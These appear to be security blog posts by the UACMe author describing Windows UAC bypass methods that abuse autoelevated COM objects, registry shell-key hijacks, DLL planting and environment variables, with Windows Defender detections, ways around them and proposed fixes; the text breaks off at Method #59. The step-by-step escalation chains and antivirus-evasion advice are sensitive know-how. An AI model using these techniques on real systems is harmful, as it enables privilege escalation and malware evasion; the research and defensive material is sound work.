Here and below we assume Windows user account created by default with default settings. Windows COM object model is a complicated technology and is an essential part of almost every UAC bypass since Windows 7 release in 2009. The point of interest in this technology is a set of classes with enabled elevation, thus when you run interfaces based on them you can skip confirmation dialog from consent.exe (depending on UAC settings).

The definition of this elevation enabled class must look like this:

          Enabled: 1

Live example:

Pic 1. SPPLUAObject Class.

These entries always exist only in HKEY_LOCAL_MACHINE (HKEY_CLASSES_ROOT is just a subkey of HKLM\Software) and during elevation process Windows expect them to be only in this hive. This automatically prevents users from elevating COM classes they did not have the privileges to register and prevent altering existing keys because of permissions set on these keys.

There is a few utilities that can help you walk through COM classes in the Windows. First is a very old tool from Microsoft - "OleView - OLE-COM Object Viewer" shipped together with Visual C++, and second is a relatively new tool from James Forshaw "OleView.NET", available with source at https://github.com/tyranid/oleviewdotnet 

Both are good enough for our task and I can suggest you try them all. Forshaw tool however has some features that especially very handy for our task and which MS OleView does not have.

What happens when elevated COM object created? 

There are few types of COM classes and they are handled differently. Here are the types that are used in this article described UAC bypass methods:

COM class that support elevation with linked dll that implements this class (it is specified in InProcServer32 registry subkey). A special application called DllHost.exe will be started with High IL and command line parameter /ProcessId:{CLSID} where CLSID belongs to requested COM class. Internally this is managed by combase.dll. This mechanic is called Dll Surrogate. The idea behind this is a very similar to that used in SCM with svchost.exe application instances hosting service dlls. In short - the requested code will be loaded in additional process and in case of critical failure this process will die leaving requestor alive and able to respond. In case of COM classes it also makes possible transparent elevation when your requestor code will still be running at Medium IL and COM code will run at High IL in separate process.

COM class that supports elevation and has LocalServer32 subkey set, which specifies the location of the COM server application to launch (parameter ServerExecutable). Server executable will have "-Embedding" parameter set as command line.

That is important part as some security researchers can assume that for elevation detection is enough inspect DllHost.exe parameters in logs. No, it is not sufficient indicator as it won't cover case above when default system-supplied surrogate is not used.

Pic 2. OleView.NET DllHost.exe surrogate listing.

Number of such autoelevated COM classes is a really big. Just a small list of them available in kernelmode.info archive Autoelevated COM objects, list (win7-win10). However starting from Windows 10 RS1 even if COM class has elevation ability enabled it doesn't mean it will be elevated. This innovation was a part of complex UAC update introduced in Redstone 1.  

Special COMAutoApprovalList was introduced (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList). Location of this list prevents it from being edited without sufficient privileges.

Pic 3. COMAutoApprovalList as seen on Redstone 5.

It values are checked by consent.exe in the internal function named CuiIsCOMClassAutoApprovable called from CuiCheckElevationAutoApprovalMedium before processing COM class as autoelevated. This gives Windows ability to selectively ban autoelevation of arbitrary COM class without modification of existing registry keys and further impact on applications. Introduction of this list already blocked several UAC bypass methods based on autoelevated COM objects (UninstallStringLauncher and CreateNewLink). From the attacker perspective this save a lot of time validating existing UAC bypass methods. This list is also working as a starting point for exploring undiscovered UAC bypasses and few of them described next.

ActiveX Install Broker UAC bypass

The first method based on autoelevated COM object with CLSID {BDB57FF2-79B9-4205-9447-F5FE85F37312}, this is "Internet Explorer Add-on Installer" coclass. This COM object already has an exploitation backstory. In 2014 it was mentioned in the "Digging for Sandbox Escapes" at BlackHat 2014 USA by James Forshaw as part of attack surface in IE sandbox breakouts. It seems this particular usage was addressed by Microsoft later, however this COM object is still valuable for UAC bypass. This coclass contain several interfaces and from revese-engineering and behavior analysis two of them are of interest to us.

  1. IexAxiAdminInstaller
  2. IeAxiInstaller2

Pic 4. Internet Explorer Add-on Installer class interfaces.

This type of COM uses server executable that hosts code. In this case server executable is "C:\Program Files\Internet Explorer\IEInstal.exe" and exactly it will be started when instance of class will be created. These interfaces allows running specific file via RunSetupCommand method which is the part of IEAxiInstaller2 interface. This method is pretty much similar to RunSetupCommand documented on MSDN https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/platform-apis/aa768010(v=vs.85).

Thus main idea here is to force this method execute our file as "setup command", since this host application is elevated our code will also be elevated and UAC will be bypassed.

The full call chain following to the "setup command" execution is the following:

  1. Allocate elevated object of IEAxiAdminInstaller (CLSID: {BDB57FF2-79B9-4205-9447-F5FE85F37312}, IID: {9AEA8A59-E0C9-40F1-87DD-757061D56177}).
  2. Initialize admin installation by calling IEAxiAdminInstaller->InitializeAdminInstaller. This will give us unique string GUID that is used in further calls.
  3. Query IEAxiInstaller2 broker object with QueryInterface from IEAxiAdminInstaller. (IID: {BC0EC710-A3ED-4F99-B14F-5FD59FDACEA3})
  4. IEAxiInstaller2 calls VerifyFile method. This routine will copy file (which is given as method parameter) with slightly modified name to the newly created temp directory which has modify permissions granted to Administrators and resides inside current user temporary directory. Next it will do WinVerifyTrust over that file. If file is not signed by MS or something went wrong - method will return error. Note that signature must be embedded, as it seems this method won't check files signed via catalog.
  5. IEAxiInstaller2 calls RunSetupCommand with parameter set to previously validated file.

The problem here is that temporary directory created during VerifyFile call has modify permissions granted to the Administators so we can use another autoelevated COM interface - well known IFileOperation and alter data inside this folder. However we need to do this after VerifyFile call and before RunSetupCommand otherwise nothing will work. Also we cannot use RunSetupCommand to run something with advanced command line - Microsoft code validates command line and does not expects anything advanced in it, otherwise causing method to return failure. File to verify also must be signed by Microsoft with embedded signature. Here is how we can alter above call scheme and bypass UAC.

  1. Same as before.
  2. Same as before.
  3. Same as before.
  4. Call IEAxiInstaller2->VerifyFile on Microsoft binary from system32, something lightweight with embedded digital signature like for example our beloved consent.exe. It will be copied to temp folder with new name. Remember new name (for our example [1]consent.exe) and location (inside newly created temporary directory in user temp).
  5. Allocate IFileOperation object and use it to replace [1]consent.exe with our payload executable. Name must be the same -> [1]consent.exe.
  6. Run IEAxiInstaller2->RunSetupCommand with parameter set to the forged file.
  7. ...
  8. Profit.

Don't forget to kill temp directory after this method completion. This method implemented in UACMe v3.5.1 as #64. Original author implementation can be found in "References" at the end of this article.

Security Center UAC Bypass 

Second method based on autoelevated COM object with CLSID {E9495B87-D950-4AB5-87A5-FF6D70BF3E90}, this is Security Center and it uses default system-supplied surrogate DllHost.exe.

Pic 5. Security Center class.

IWscAdmin interface is of interest here. It has method called
DoModalSecurityAction which depending on supplied parameters calls ShellExecuteExW. This call is done with URL as parameter. In our case it is "http://go.microsoft.com/fwlink/?LinkId=534032". 

How this can be turned into fully working UAC bypass? Because we are dealing with over-complicated Windows Shell it is very simple but at first glance you can miss this opportunity. We can hijack shell protocol handler "http" for current user and force it use our payload thus instead of browser you will have our payload executed when ShellExecuteExW will be called with this URL as parameter.

Hijacking protocol handler is the main problem here. Before Windows 8 it is all simple - you just create protocol handler key and then modify HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice ProgId value with that name. With Windows 8 and above it is all complicated because protocol settings now encrypted and verified with a hash, so we cannot change it like before anymore. Personally, I don't really know purpose of this, was it result of "set %browser% as default app" wars or whatever, so this change for me is just annoying. In Windows 10 it is all now managed with help of SystemSettings application. Reverse engineering of this app in recent Windows 10 versions shows it uses call to SystemSettings.Handlers.dll!SetUserAssoc internal function to perform association. This suggest it can be used for our task. However to make it compatible with all Windows versions starting from 7 up to recent 10 it was required to dig deeper and locate the key function which is the same for all versions. 

And it was found, it is unexported shell32.dll function called UserAssocSet, it present in Windows at least since Windows XP. The SetUserAssoc function later pass it parameters to UserAssocSet call where this function looks like completely copy-pasted from shell32.dll to the SystemSettings.Handlers.dll.

Quick googling for that symbol revealed interesting article in Chinese which is covering detective story of finding and understand how all this brand new association works. Author(s) used it to register browser default app. Link to it included in the References at the end of this article. So final steps for this UAC bypass method are the following:

  1. Create registry protocol entry somewhere in HKEY_CURRENT_USER\Software\Classes.
  2. Query UserAssocSet function address from shell32.dll .text section using known patterns. 
  3. Register new association for "http" by calling UserAssocSet with first parameter set to UASET_PROGID.
  4. Allocate elevated object IWscAdmin (CLSID: {E9495B87-D950-4AB5-87A5-FF6D70BF3E90}, IID: {49ACAA99-F009-4524-9D2A-D751C9A38F60}).
  5. Call IWscAdmin->Initialize (it is required for interface to work as it contain some GUI stuff).
  6. Call IWscAdmin->DoModalSecurityAction with "action" parameter set to 103 to trigger ShellExecuteEx call.
  7. ...
  8. Profit.

During analysis of shell32 from number of Windows 10 builds it was found out that UserAssocSet is a subject of multiple internal changes, including number of parameters and functions from where this routine called. However first three parameters of it are always the same and generic prototype of this routine doesn't changed since Windows XP.

 HRESULT UserAssocSet(
    UASET set,
    LPCWSTR pszExt,
    LPCWSTR pszSet,
    [DWORD dwFlags]);

dwFlags parameter is variable and may present on some Windows 10 builds and not present on others. It is another enumeration of type ASSOC_MAKE_DEFAULT_FLAGS which complete definition is unknown and out of interest for us. However Windows 10 versions that has this parameter require it to be set to specific value which can be determinated with disassembler.

Association registration maybe removed later with another call of UserAssocSet this time with first parameter set to UASET_CLEAR. This UAC bypass method implemented in UACMe v3.5.2 as #65. It uses signature search method to locate UserAssocSet

In attempt to improve signature search I've looked on possibility of going out directly to internal routine that has this UserAssocSet call through IApplicationAssociationRegistration interface (https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iapplicationassociationregistration). In the mentioned Chinese article author(s) used this interface to get to the internal one (called surprisingly as IApplicationAssociationRegistrationInternal) and use methods from it. By the way you can ignore what MSDN says about this interface limitations - MSDN information is a partial lie. Unfortunately Microsoft altered this interface heavily since this article publication. They not only changed interface ID but also redesigned methods so they does not have call to UserAssocSet now. I will leave this question to those who want to improve method.


As you can see COM autoelevation objects are still have a lot of potential even 11 years after Windows 7 release. No doubt there are more surprises still need to be revealed as this is classic security through obscurity model.

✇The Vault

UACMe 3.5, WD and the ways of mitigation

By: hfiref0x


(warning this post if quite long)

UACMe is a demonstrator tool initially developed following WinNT/Pitou research. It contains set of User Account Control (UAC) bypass methods, where most of them initially extracted from ITW malware.

Pic 1. Typical UAC window (IFileOperation).

More about UACMe and Microsoft way of fixing "not a security boundary" (and side effects of these fixes) you can read at kernelmode.info archive. Since initial release in the December 2014 a total number of added UAC bypass methods counted 63. It maybe astonishing number at first glance but keep in mind that around ~20% of these methods are combinations of each other, any change made by Microsoft to fix designated method will ruin not only this method but also automatically everything where it was used. A perfect example is methods based on ISecurityEditor undocumented autoelevated interface used by Win32/Simda (previously wide-spread malware family with Russian origin). When Microsoft altered this interface forcing it to work only with file objects this ruined not only original Simda method but also method that used Application Verifier dll planting (later this method was also used in some ITW malware). However this does not mean UACMe doesn't have measures against these fixes where they are available. Several methods have different ways of execution depending on current Windows version where they expect original implementation to be fixed or unavailable by different reasons. Anyway - don't take UACMe methods counter as an indicator of anything.

With these number of methods codebase has ridiculously grown and because it late 2020 it was decided to drop everything that does not work or have been fixed on current mainstream Windows version. 

Microsoft fixes to UAC, while there are plenty of them, almost never been backported to previous Windows versions. Only exceptions are: generic fuckup in media (like in case of some APT causing MS drop UAC fix as part of their bulletin) or as part of big rollup update (Windows 7). Just keep in mind that UAC become "not a security boundary" when it was fucked up by Microsoft marketing specialists with Windows Vista.

Currently Windows 10 pushing major updates 1-2 times per year. As for now, Windows 7 and 8/8.1 out of the box settings render their UAC almost transparent to threats due to fundamental design flaws revealed in the UAC implementation over time. Not surprisingly all methods that bound on Windows 7 are dropped in UACMe 3.5+. It is time to move on.

The last major UAC update in Windows 10 was in RS1 release (14393) where they massively updated appinfo (UAC service with implementation inside appinfo.dll) and reviewed several other things. Since that time they released only some sporadic updates targeting some specific methods. However this does not mean they do nothing. Not at all.

Windows Defender to the rescue

This Microsoft aggressively imposed "product" that ships with Windows 10 (now even Server) and it general purposes are:

1. Massively affect PC performance;

2. Imitate protection from threats by detecting open source projects, collections of out-dated malware and various script-kiddie junk;

3. Have an option to work as selective backdoor (hello Kaspersky GRU mode 🙀);

4. Take a share on AV global market.

Windows Defender is the thing you don't need at all. At least if you capable of being a master of your PC not slave of it installed program. Fortunately, despite the Microsoft attempts to harden WD presence, you still can remove it completely from system without side effects.

Regarding to UACMe Windows Defender works as "that guy" who is fixing what OS devs doesn't want to fix. Yes, they selectively and very carefully signatured lots of unfixed UAC bypass methods and UACMe program and it components. However even there MS for some unknown reason leaving wide open window for malware constantly ignoring a very popular methods used ITW and at the same time detecting some of really rare (if even used). On the other side WD installed and updated on systems that has no fancy UAC fixes built-in so it working as the only available lazy fix here 😉

How does it detect it? Windows Defender has a real-time behavior monitoring feature that can catch system events by a bunch of kernel mode filters and callbacks (most of them inside WDFilter.sys driver). A user mode client subscribed to these events and judging on their combinations can predict program behavior thus giving WD ability to check it against set of rules stored in the signatures called "Behavior" in their AV database. There are hundreds of such rules in their database and this number always grows. And of course they have a lot of them regarding possible UAC bypasses. 

Examples of such behavior detection:

The filter reports registry write at specific key which is hardcoded in the WD database. Some program want to change @Default value of current logged user Software\Classess\mscfile\shell\open\command key. Determinate a caller application (if it is an indirect registry write - attempt to locate its initiator). Revert registry change, remediation - check and kill initiator, notify user through message balloon, write logs, quarantine the initiator, if required. Take a hint, this is all done in real-time, involving a lot of highly ineffective code, with a race condition state so if system lags a lot WD actually can miss the moment when initiator effectively launch payload and despite achtung balloon UAC bypass will "pass".

Pic 2. Windows Defender detection with behavior signature (nothing quarantined, its just a WD bullshit).

Another example of same kind. We have same registry write event, but our detection rule is more complicated. Now we also check if there is a specific process launch registered - sdclt.exe (Microsoft binary). If so, we are looking for its parameter (it can't be obfuscated as we doesn't control sdclt.exe behavior this way). If this parameter is /kickoffelev - bingo, you got a balloon "Threat detected Behavior:Win32/UacBypassExp.K!sdclt"

Et cetera. There are more than 40 behavior detection signatures targeting UAC bypass attempts at the moment of this writing and this count will highly likely increase. Some of them giving cross detection capabilities.

Does this effective enough? It depends on how much space for maneuver the particular method has. If you out of space and different approach is impossible - WD have won.

However, you should not overestimate WD team capabilities. While they are indeed carefully signatured some of the known methods and combinations in various malware, they are doing this in a way missing any creativity in mind. Or maybe they are incapable of it. So if the method is still technically working on latest Windows 10 and WD has behavior signature for it - it is highly likely we can bypass it by altering method in a way WD does not expect it to work.

Below we will take a tour to the UACMe 3.5 remaining methods, figure out how they can be fixed from OS dev point of view and how WD can be improved to block them completely as "lazy way fix".

UAC Bypass Exploits

Everything below tested against full patch Windows 10 (2004), clean install with default settings and fully updated Windows Defender as of 26 September 2020.

💥Method #22 

(herein and below numbers are method ids in UACMe list). 

1) Description

This is a dll hijacking method based on internal Windows dll redirection feature called DotLocal (or .local) and relying on IFileOperation autoelevated interface to plant payload files/create required subdirectories structure inside Windows system32 protected directory. It is similar to #21 with different target application, in that case it is consent.exe - this thing is responsible for UAC credentials dialog and launched every time when you start anything that require an elevation (even if it is has autoelevation capabilities). Except providing GUI for UAC this program also responsible for checking autoelevated interfaces to be in special whitelist introduced in the Windows 10 RS1 and called COMAutoApprovalList. If checked interface is not in this list it won't be elevated. UACMe creates a required subdirectory structure in system32 and plants it special module called Fubuki under name comctrl32.dll. Next when consent.exe started this dll loads into consent address space as common controls library, executes payload and terminate consent. Resulting payload will run with LocalSystem (NT Authority\SYSTEM) account rights because consent.exe spawned from UAC service that also runs as LocalSystem. 

2) WD detection

Microsoft has a behavior signatures for this method. Their idea here is to catch the moment when you create subdirectories for planting payload and moment when attacker code moves payload from temporary folder to the target subdirectory in system32. This is strange and incomplete detection as it doesn't cover different scenario when nothing moves anywhere and there is a direct write to this directory from memory.

3) WD detection bypass

Since IFileOperation creates an admin owned directories in system32 we can abuse that fact, create subdirectories as usual and then reset DACL for final subdirectory to allow us write access without elevation. This can be achieved by combing IFileOperation with ISecurityEditor which has been a subject of incomplete fix after Win32/Simda where MS banned it usage for anything else than file objects, previously it was nice autoelevated Set/GetNamedSecurityInfo wrapper.

4) Lazy fix for WD

Obviously you must catch a moment when a file is created inside this DotLocal subdirectory structure. However this can be not enough, as attacker code can use renaming operation, so better solution will be catch both cases and if there is ANY file present (or there is an attempt to write here) in this DotLocal substructure show detect. It is a bit more complicated then what they actually have.

5) Possible fix

When consent.exe started by appinfo service it maybe be started with process mitigation binary policy "Microsoft Signed Only" applied. This even won't require any IFEO keys etc. I've no idea why they didn't bothered to implement this from the beginning. This is especially fun because #21 targeting sysprep.exe was fixed by MS in that way.

💥Method #23

1) Description

This is dll hijacking method based on fact that PkgMgr.exe (whitelisted by UAC service in g_lpAutoApproveEXEList internal list) is being deprecated and works just as launcher for Dism application which is located in system32 subdirectory "Dism". When the Dism application has started, it will search for its dependencies in the system32 as first, then from its home directory. Attacker can plant a payload dll as dismcore.dll to the system32 and then trigger Dism launch by calling PkgMgr.exe with special parameters.

2) WD detection

Windows Defender has several signatures to detect this, their exact dedicated signature called Win32/Disemer and has several variants. They detect it by various things - starting from dismcore.dll file in the system32 (which indeed achtung and red alert as it never happens on real system), and ending up with pkgmgr.exe parameters containing specific tokens.

3) WD detection bypass

First of all, since I was this one who made this method public I'm quite surprised that for a few years of it existence no one actually look on it deeper. It seems both malware and AV industry blindly adapted what was posted on kernelmode.info. If we can trust crowdstrike (dubious security company sometimes serving as a proxy in West info wars campaigns) - even some "APT" used it as is. Actually you can do this bypass in a different way. There is no need in any additional files (packages) to be dropped anywhere and supplied as parameter to pkgmgr. You can just give it complete junk and use something else not only dismcore.dll. However this method has not so much space for maneuvering and can be completely signatured.

4) Lazy fix for WD

Pkgmr execution with ANY parameters following executable code planting as file in the system32.

5) Possible fix

Remove deprecated PkgMgr.exe from appinfo g_lpAutoApproveEXEList. There is no sense in keeping it here. Instead, PkgMgr may have manifest with requested execution level set to "requireAdministrator" and autoelevation blocked or unspecified.

💥Method #30

1) Description

Strictly speaking this is not a true dll hijack, it is more like abusing undocumented feature where this it seems completely for internal debugging. Method based on Wow64 subsystem logger dll. The first public mention about this Wow64 mechanics has been posted more than 10 years ago by lhc645 here. There also was posted wow64log dll source skeleton. The target dll - wow64log.dll must be placed to the system32 folder. Every wow64 application when started will load it and execute dll entry point, thus you can inject this dll to the autoelevated binaries from syswow64 folder. The logger dll must be native otherwise there will be a crash in the target application. This method has a lot of disadvantages and not that much room to maneuver in case of active counteraction from WD. UACMe uses IFileOperation to plant module named Akatsuki - payload dll as wow64log.dll in the system32 folder. This dll is not native and this is done on a purpose. When target application attempts to load this dll it will crash causing launch of WerFault application which is also will be 32 bit but started as LocalSystem. Thus Akatsuki will propagate to WerFault instance(s) and grant payload code NT Authority\SYSTEM access rights.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Block wow64log.dll loading by default.

5) Possible fix

Block wow64log feature by checking corresponding registry value (lets say REG_DWORD "EnableWow64Logging") somewhere in HKLM with default state set to FALSE(0).

💥Method #32

1) Description

This method implements UAC bypass by window hook set from dll hijacked UIAccess application. As target it abused OSK.exe copied from Windows folder to the %ProgramFiles%\Windows Media Player folder (created if not exist) with help of IFileOperation. This is done for creating conditions required for dll hijack. Target directory selected because it is inside appinfo g_lpIncludePFDirs secure directories whitelist. Next Fubuki planted in the same folder as duser.dll or osksupport.dll depending on Windows version. When OSK.exe starts - variant of this dll loaded and Fubuki code runs on Medium+ integrity level from UIAccess allowed application which enables it dll injection via windows hooks. As target of final injection it uses eventvwr.exe launcher application.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Easiest and obvious - block dlls planting by folder and name. However there can be different targets and dlls. Ultimate solution would be preventing dll injection at final stage to the high IL process from Medium+ IL as it clearly not something you can expect from such UIAccess applications.

5) Possible fix

UIAccess applications should include manifest with hardened loadFrom elements thus preventing dll hijacking as dll dependencies that are not in KnownDlls will be loaded from manifest specified paths. Microsoft did this in the past with Sysprep.exe (unfortunately this was incomplete fix and it took them few more years to finally harden sysprep from dll hijacking) and for inetmgr.exe.

Pic 3. Sysprep.exe manifest as example.

💥Method #33 (#62)

1) Description

This is a registry key manipulation type bypass. It is similar to infamous Enigma0x3 "mscfile fileless" bypass and the only difference in a key and target application. It abuses fact that Windows Shell will first lookup given class items in the current user registry hive and only after that in local machine. Thus you can control key that later Windows will attempt to parse and execute command from it. Method 33 and 62 has the same code base in UACMe, the only difference is the target applications they involve. It was requested by some of the UACMe users and I didn't mind to fulfill that request.

2) WD detection

Because this is similar to Enigma0x3 methods and widely used ITW by malware Windows Defender has behavior detection signature Behavior:Win32/UACBypassExp.T (with variants). Part of rule including write event to the current user Software\Classes\ms-settings\shell\open\command @Default value and following process execution (fodhelper.exe or computerdefaults.exe - both are Microsoft binaries).

3) WD detection bypass

Windows Defender capable of detecting write event to the hardcoded registry key either direct or indirect using for example reg.exe or Powershell. In fact it doesn't matter, it will detect all writes, indirect write through registry symbolic link or registry transaction. It detects 😉 

How this can be bypassed? We will use the fact that WD is:

A) incapable prevent registry key creation and B) only inspect @Default value change of the last key in the registry path chain. 

Our goal is to redirect key read for Windows Shell from WD inspected key to our fake key with all planted data. To do this we will set registry symbolic link to the "command" registry key in path chain and redirect it to our controlled "command" key somewhere else. WD will read original key and will be happy as it will have the same unmodified @Default value. Windows Shell will reparse registry key when accessing "command" and will read data from "our" key instead. Everybody happy.

4) Lazy fix for WD

Block symbolic link creation for entire registry entry elements, or follow symbolic link and inspect resulting key instead of just reading hardcoded one ignoring reparse. More hardcore solution would be is to block write access at all to these shell keys.

5) Possible fix

Create default empty keys for users and protect them with security descriptor. Windows Shell is over-complicated bullshit so there can be side effects and this require more investigations which is simpler to do when you have all source code.

💥Method #34

1) Description

This is AlwaysNofity compatible method. It abuses environment variables and Microsoft DiskCleanup scheduled task. The idea behind this method is to set your own controlled %windir% environment variable to the registry and then force scheduled task take it resulting in command line injection. Quotes for payload command are required part here as they need for successful command line injection since executable path in scheduled task is not quoted.

2) WD detection

It detects the fact of scheduled task startup and does this by comparing command line of schtaks.exe to have \Microsoft\Windows\DiskCleanup\SilentCleanup substring. If found - then achtung you got Behavior:Win32/SilentCleanupUACBypass 

Note they also prepared for possible other sources - this signature speaks for itself PossibleSchedTasksUACBypass (checks for \Microsoft\Windows sub-string).

3) WD detection bypass

Just don't use schtasks. No one actually forced you to do so. This method is perfect illustration when everybody just simple copy-pasted original. You can do the same what schtasks does with help of Task Scheduler interface objects such as ITaskService, ITaskFolder and IRegisteredTask.

4) Lazy fix for WD

Detect %windir% environment variable modification for current user.

5) Possible fix

Get rid of environment variables for DiskCleanup scheduled task or use quoted path. That %windir% actually was a ridiculous idea.

💥Method #36

1) Description

This method is from infamous SandboxEscaper from those times when he was not yet what he(she/it whatever) is now. Like almost everything from this guy it is based on NTFS reparse point feature and state of race condition. It abuses Wusa behavior which creates hidden temporary directory in the root of the current drive with default security descriptor when processing msu (cab) files. Wusa extracts contents of processed cab file to that temporary directory looking for further instructions inside these files. By setting reparse point on that directory you can redirect Wusa write to specified target directory.

2) WD detection

There is no specific detection signature for this method. However since one variant of it uses Dism hijack similar to method #23 WD detects file planting to the system32 folder with Win32/Disemer signature.

3) WD detection bypass

Similar to #23

4) Lazy fix for WD

Similar to #23

5) Possible fix

Wusa should set security descriptor when creating temporary directory. Something like similar fix has been implemented for method #26 by MS in the past.

💥Method #37

1) Description

It is combination of DotLocal, Wusa race condition methods (#21, #22, #36). It uses Wusa race condition to create DotLocal directory structure and copy file to the system32. Instead of comctrl32 it abuses GdiPlus with target set to DCCW.exe

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Similar to #22 and #36

5) Possible fix

Dccw.exe autoelevation removal.

💥Method #38

1) Description

This method uses appinfo command line parsing spoofing. This requires talking to appinfo via RPC as Windows Shell always build correct command line request when used ShellExecute(Ex). This can be achieved through AicLaunchAdminProcess hook or by direct RPC call. You have to prepare your MMC snap-in and embed in it Shockwave Flash Object which will execute supplied HTML script located somewhere on disk. This HTML code will eventually run your payload through ExecuteShellCommand method.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

This method require file drops. Both fake management console snap-in and html run script can be detected when dropped to the disk. However this is not really reliable. Perhaps you can catch the moment when mmc.exe got started with fake snap-in.

5) Possible fix

Obviously appinfo command line parsing need a tweak so it won't skip arguments in command line without actual check of them.

💥Method #39

1) Description

This is NET Code Profiler method. It entirely rely on setting very specific current user environment variables and registering fake profiler dll which must be dropped to the disk. Then you must select dotnet origin target. In our case it is EventViewer GUI - slow & ridiculously over complicated piece of crap.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed, see above.

4) Lazy fix for WD

Can be entirely prevented by WD inspecting environment variables regarding CorPofiler path.

5) Possible fix

mmc.exe should not allow loading of non Microsoft binaries in it address space when run with High IL.

💥Method #41

1) Description

Based on ICMLuaUtil autoelevated COM interface which provides a set of methods that can be used to bypass UAC. It allows running arbitrary executable with High IL, deleting and setting arbitrary registry entries with elevation and more.

2) WD detection

WD has multiple behavior signatures for initially presented script based attacks, for example: Behavior:Win32/CICmstp, Behavior:Win32/UacCmstp, Behavior:Win32/SuspParentLaunchingLOLBin, Behavior:Win32/CmstpSuspParent and variants of them. Unfortunately they are completely incapable of preventing this method when it used as it should be. They only signatured script-kiddie junk. Why is that read next. Meanwhile this method is somewhat popular in malware because of it simplicity in raw mode.

3) WD detection bypass

No needed.

4) Lazy fix for WD

This interface is a backdoor by design. It is fully controllable by attacker with attacker defined components and huge space for maneuver. It is hard to trace behavior as it can be various and unpredictable. You can however trace when this interface used for legitimate purposes, log it behavior and compare this trace with occurred event. It doesn't look very reliable however.

5) Possible fix

Remove this interface from COMAutoApprovalList. This will force UAC to show dialog each time this interface called.

💥Method #43

1) Description

This method is a combination of #41 which is used to write arbitrary data to the Windows Registry and another undocumented autoelevated interface called
IColorDataProxy. Main idea here - write custom calibrator setting to the HKLM\Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration @DisplayCalibrator and then run it by calling autoelevated IColorDataProxy interface method LaunchDccw. Interface will read custom calibrator value and start this program via ShellExecuteEx call doing that on High IL.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect write to HKLM\Software\Microsoft\Windows NT\CurrentVersion\ICM\Calibration at value @DisplayCalibrator. May cause problems if this feature used somewhere legitimately.

5) Possible fix

This won't work without writing to the registry which is provided by ICMLuaUtil interface. Removing it from COMAutoApprovalList will automatically block this method too.

💥Method #52

1) Description

This method currently popular ITW because of it simplicity so even zero skill malware authors may embed it to their elite dotnet droppers. Idea behind it is to abuse appinfo design flaw where Win32 API GetLongPathName due to it specific is converting supplied fake security directory path to the real one thus passing further internal check against secured directories whitelist. There at least two variants of these method used ITW - original and my - involving reparse points, exactly it is used by WastedLocker ransomware. They mostly copy-pasted it as is from UACMe with their set of ridiculous additions.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Detect directory creation, mount point creation. It should not be that hard as this method require trusted directory name abuse.

5) Possible fix

This needs to be patched in appinfo. Get rid of Win32 API when converting file path. It is ridiculous combination having Win32 API path conversion for path check.

💥Method #53

1) Description

This method is similar to #33. The only difference is the target key and application. Target key here is HKCU\Software\Classes\Folder\shell\open\command @Default value (+DeletegateExecute as usual) and trigger is sdclt.exe

2) WD detection

WD is capable to detect this. Dedicated signatures named Behavior:Win32/UACBypassExp.F!sdclt(2)(3)(4)(src). Writing (direct or indirect) to that key default value triggers detection.

3) WD detection bypass

Similar to #33

4) Lazy fix for WD

#Similar to #33

5) Possible fix

#Similar to #33

💥Method #55

1) Description

It is UIPI bypass with UIAccess application primary token duplication. Duplicated token next modified to have Medium IL and used to create second stage process. Because this process created with token that has UIAccess flag set this process will be able to circumvent UIPI. As second stage process UACMe uses Fubuki unit modified in the runtime to be standalone executable. When started Fubuki will spawn msconfig.exe at Tools page. Next it will identify ListView window and use SendInput API to navigate to the "cmd.exe" entry in the tools list and simulate button click. After that it will wait for console window and type specified command to it running actual payload. This is a complex method that is not really reliable in the real life and was added just for fun as I really liked the concept.

2) WD detection 

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

I would detect all kind of Medium IL processes running with UIAccess flag set as malicious just because it against Windows behavior as normal UIAccess application always has >= Medium+ integrity level.

5) Possible fix

Remove UIAccess from token if it duplicated from Medium+ IL from a process with Medium IL. This need actual investigation as there could be unexpected side effects.

💥Method #56

1) Description

This method is similar to #33. The only difference is the target key and application.Target key here is HKCU\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\shell\open\command @Default value (+DeletegateExecute as usual) and trigger is wsreset.exe

2) WD detection

WD is capable to detect this. Dedicated signatures named Behavior:Win32/UACBypassExp.F!wsreset(2)(3)EF. Writing (direct or indirect) to that key default value triggers detection.

3) WD detection bypass

Prepare target key structure somewhere else and rename it key component to actual name before running target.

4) Lazy fix for WD

Additionally to #33 detect rename key event.

5) Possible fix

#Similar to #33

💥Method #58

1) Description

Based on IEditionUpgradeManager autoelevated COM interface. This interface has method called AcquireModernLicenseWithPreviousId. During execution it starts Clipup.exe process from (what it suppose) windows system32 folder. It uses %windir% environment variable(sic!) to build path to that executable. Thus you can set your own %windir% variable and this code will use it to build a path with your controlled location in it.

2) WD detection

Not capable (as of 26 Sep 2020).

3) WD detection bypass

No needed.

4) Lazy fix for WD

Same as #34

5) Possible fix

Cheap and easy fix - get rid of environment variables from Win95 era and build a proper path to clipup.exe by using, surprise - surprise! GetSystemDirectory.

💥Method #59

1) Description

